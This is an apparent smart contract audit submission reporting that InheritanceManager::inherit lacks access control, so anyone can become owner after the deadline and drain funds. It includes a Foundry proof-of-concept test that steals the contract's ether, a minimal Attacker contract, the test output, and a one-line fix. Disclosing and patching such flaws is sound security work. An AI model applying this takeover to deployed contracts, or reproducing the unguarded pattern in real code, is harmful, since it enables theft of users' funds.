Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Lack of access control in `InheritanceManager::inherit` allows ownership takeover

stratan

Summary

If the InheritanceManager contract has just one beneficiary, an attacker can call InheritanceManager::inherit and become owner. This can lead to multiple issues, with the most important among them being stolen funds.

Vulnerability Details

According to the docs, the owner of InheritanceManager can list his backup wallet as the only beneficiary. If the owner has lost access to his wallet and 90 days have passed, he can reclaim his funds via InheritanceManager::inherit(). However, upon deadline expiration, nothing prevents an attacker from calling inherit and become owner of the contract.

function inherit() external {
// [1]
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
// [2]
if (beneficiaries.length == 1) {
// [3]
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

Assuming the deadline has passed ([1]) and the number of beneficiaries is one ([2]), msg.sender becomes the contract's owner ([3]). Finally, the attacker can call InheritanceManager::sendETH and steal InheritanceManager contract's funds.

Proof of Concept

Consider the following scenario:

  1. owner lists his backup wallet as beneficiary (works with one legitimate beneficiary as well)

  2. deadline expires

  3. attacker calls inherit

    • beneficiaries.length is 1, making attacker the owner

  4. attacker calls sendETH and steals InheritanceManager's contract funds

Code

Add test_inheritUnauthorizedOwnershipTransfer in InheritanceManagerTest.t.sol,

function test_inheritUnauthorizedOwnershipTransfer() public {
vm.deal(address(im), 10 ether);
address backup = makeAddr("backup");
Attacker attacker = new Attacker();
vm.startPrank(owner);
im.addBeneficiery(backup);
vm.stopPrank();
vm.warp(1 + 90 days);
vm.startPrank(address(attacker));
im.inherit();
assertEq(address(im.owner()), address(attacker));
im.sendETH(address(im).balance, address(attacker));
assertEq(address(im).balance, 0);
assertEq(address(attacker).balance, 10 ether);
}

as well as the Attacker contract:

contract Attacker {
receive() external payable {}
fallback() external payable {}
}

Run the test:

$ forge test --mp test/InheritanceManagerTest.t.sol --mt test_inheritUnauthorizedOwnershipTransfer
[⠊] Compiling...
No files changed, compilation skipped
​
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_inheritUnauthorizedOwnershipTransfer() (gas: 140820)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.79ms (148.42µs CPU time)
​
Ran 1 test suite in 143.60ms (1.79ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

A wallet backup is a core feature of the InheritanceManager contract. Without proper authorization, funds and assets can be stolen.

Tools Used

  • Manual review

  • Foundry

Recommendations

Since inherit expects the backup wallet to be in slot0 of beneficiaries, add the following patch:

/**
* @dev manages the inheritance of this wallet either
* 1. the owner lost his keys and wants to reclaim this contract from beneficiaries slot0
* 2. the owner was inactive more than 90 days and beneficiaries will claim remaining funds.
*/
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
+ require(msg.sender == beneficiaries[0], "Unauthorized beneficiary");
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!